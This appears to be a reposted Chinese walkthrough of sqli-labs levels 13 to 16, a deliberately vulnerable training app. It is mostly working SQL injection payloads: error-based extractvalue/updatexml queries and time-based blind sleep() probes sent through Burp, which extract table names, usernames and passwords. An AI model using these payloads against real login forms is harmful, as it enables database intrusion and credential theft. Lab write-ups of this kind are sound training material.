主页 > 开源代码  > 

SQL-labs13-16闯关记录

SQL-labs13-16闯关记录

http://127.0.0.1/sqli-labs/less-13/

基于POST单引号双注入变形

1,依然是一个登录框,POST型SQL注入

2,挂上burpsuite,然后抓取请求,构造请求判断漏洞类型和闭合条件

admin' 发生了报错,根据提示闭合方式是('')

admin') # 不发生报错,说明闭合方式正是('')

3,然后就是判断数据表的列数

admin') order by 2 #

admin') order by 3 #

说数据表不存在第三列,那么数据表就只有两列

4,然后使用union select操作符判断回显点,发现没有反应。使用报错函数进行报错注入,爆出数据库名

1')and updatexml(1,concat(0x7e,(select database())),3)#

1')and extractvalue(1,concat(0x7e,(select database())),3)#

再爆出数据库下数据表名

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

整理得到数据表有emails,referers,uagents,users。然后再爆出users表的字段

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 2,1)))#

然后再爆出用户名和密码

1')and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

这个时候就可以直接拿intruder模块进行爆破了

偏移量作为变量,字典选择0-9

爆破出password也是同样的操作

http://192.168.99.74/sqli-labs/less-14/

第十四关 基于POST双引号双注入变形

payload:

admin"

admin" order by 2#

admin" order by 3#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 1,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 2,1)))#

1"and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

http://192.168.99.74/sqli-labs/less-15/

第十五关 基于POST数值型注入

本关没有错误提示,那么我们只能靠猜测进行注入。这里我直接从源代码中看到了 sql 语句

@$sql="SELECT username, password FROM users WHERE username='$uname' and

password='$passwd' LIMIT 0,1";

sql查询语句这里对 id 进行'id'的处理。

本关我们利用延时注入进行。正确的时候可以直接登录,不正确的时候延时 5 秒。

猜测数据库名长度为8(在burpsuite Intruder模块中8设置为变量):

uname=admin'and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

字典选取1-9

猜测数据库名第一位为s(ASCII表中a-z对应97-122):

uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

由此根据排列payload1的顺序就能得到数据库名

猜测数据表名第一位为e(ASCII表中a-z对应97-122):

uname=admin' AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

所以第一张数据表就是email,以此类推,递增改变limit 0,1当中的0就能爆破出所有的数据表名:emails,referers,uagents,users

猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):

uname=admin' AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

所以第一个字段就是id,递增改变limit 0,1当中的0就能爆破出所有的字段,id,username,password

猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'

uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

得到第一个用户名Dumb,同理可得,由此爆破出密码

uname=admin' AND If(ascii(substr((SELECT password FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

http://192.168.99.74/sqli-labs/Less-16/

同样的使用延时注入的方法进行解决。提交的测试payload(条件为真会5s延迟):

admin and if (1=1,sleep(5),0)

admin' and if (1=1,sleep(5),0)

admin') and if (1=1,sleep(5),0)

admin" and if (1=1,sleep(5),0)

admin")and if(1=1,sleep(5),0)

所以语句的闭合方式就是("admin"),区别于less-15

判断数据库名长度为8

uname=admin")and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

猜测数据库名第一位为s(ASCII表中a-z对应97-122):

uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

猜测数据表名第一位为e(ASCII表中a-z对应97-122):

uname=admin") AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):

uname=admin") AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'

uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

标签:

SQL-labs13-16闯关记录由讯客互联开源代码栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“SQL-labs13-16闯关记录